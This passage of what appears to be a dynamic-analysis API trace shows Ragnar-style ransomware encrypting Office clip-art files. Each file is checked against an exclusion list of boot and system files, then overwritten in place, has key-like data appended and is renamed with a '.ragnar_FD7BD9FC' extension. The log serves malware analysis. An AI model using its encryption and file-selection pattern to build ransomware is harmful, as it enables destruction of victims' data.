lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.406] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.406] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.406] GetProcessHeap () returned 0x580000 [0087.406] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.406] CloseHandle (hObject=0xf4) returned 1 [0087.406] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" [0087.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ragnar_FD7BD9FC" [0087.406] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0087.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.407] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0291794.WMF" | out: lpString1="J0291794.WMF") returned="J0291794.WMF" [0087.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF") returned=".WMF" [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="autorun.inf") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="boot.ini") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootfont.bin") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootsect.bak") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootmgr") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootmgr.efi") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="bootmgfw.efi") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="desktop.ini") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="iconcache.db") returned 1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ntldr") returned -1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ntuser.dat") returned -1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ntuser.dat.log") returned -1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="ntuser.ini") returned -1 [0087.407] lstrcmpiW (lpString1="J0291794.WMF", lpString2="thumbs.db") returned -1 [0087.407] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.407] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.407] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.407] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.407] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.408] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.408] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf")) returned 0x20 [0087.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.408] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9616) returned 1 [0087.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2587, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.408] GetProcessHeap () returned 0x580000 [0087.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.408] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2590, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2590, lpOverlapped=0x0) returned 1 [0087.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2590, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.411] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2590, lpOverlapped=0x0) returned 1 [0087.411] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2590, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.411] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2590, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.411] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.412] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.412] GetProcessHeap () returned 0x580000 [0087.412] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.412] CloseHandle (hObject=0xf4) returned 1 [0087.412] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" [0087.412] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ragnar_FD7BD9FC" [0087.412] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0087.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.413] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0292248.WMF" | out: lpString1="J0292248.WMF") returned="J0292248.WMF" [0087.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF") returned=".WMF" [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="autorun.inf") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="boot.ini") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootfont.bin") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootsect.bak") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootmgr") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootmgr.efi") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="bootmgfw.efi") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="desktop.ini") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="iconcache.db") returned 1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ntldr") returned -1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ntuser.dat") returned -1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ntuser.dat.log") returned -1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="ntuser.ini") returned -1 [0087.413] lstrcmpiW (lpString1="J0292248.WMF", lpString2="thumbs.db") returned -1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.413] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf")) returned 0x20 [0087.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.414] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8420) returned 1 [0087.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.415] GetProcessHeap () returned 0x580000 [0087.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.415] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.416] VirtualAlloc (lpAddress=0x0, dwSize=0x20e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.417] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20e4, lpOverlapped=0x0) returned 1 [0087.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.418] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20e4, lpOverlapped=0x0) returned 1 [0087.418] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.418] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.418] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.418] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.418] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.418] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.418] GetProcessHeap () returned 0x580000 [0087.418] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.418] CloseHandle (hObject=0xf4) returned 1 [0087.418] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" [0087.419] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ragnar_FD7BD9FC" [0087.419] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.419] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0087.419] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.419] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0292270.WMF" | out: lpString1="J0292270.WMF") returned="J0292270.WMF" [0087.419] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF") returned=".WMF" [0087.419] lstrcmpiW (lpString1="J0292270.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.419] lstrcmpiW (lpString1="J0292270.WMF", lpString2="autorun.inf") returned 1 [0087.419] lstrcmpiW (lpString1="J0292270.WMF", lpString2="boot.ini") returned 1 [0087.419] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootfont.bin") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootsect.bak") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootmgr") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootmgr.efi") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="bootmgfw.efi") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="desktop.ini") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="iconcache.db") returned 1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ntldr") returned -1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ntuser.dat") returned -1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ntuser.dat.log") returned -1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="ntuser.ini") returned -1 [0087.420] lstrcmpiW (lpString1="J0292270.WMF", lpString2="thumbs.db") returned -1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.420] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf")) returned 0x20 [0087.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.420] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31398) returned 1 [0087.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.421] GetProcessHeap () returned 0x580000 [0087.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.421] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.422] VirtualAlloc (lpAddress=0x0, dwSize=0x7aa6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.423] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7aa6, lpOverlapped=0x0) returned 1 [0087.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.424] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7aa6, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.424] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7aa6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7aa6, lpOverlapped=0x0) returned 1 [0087.424] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7aa6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.424] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7aa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.425] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.425] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.425] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.425] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.425] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.425] GetProcessHeap () returned 0x580000 [0087.425] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.425] CloseHandle (hObject=0xf4) returned 1 [0087.425] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 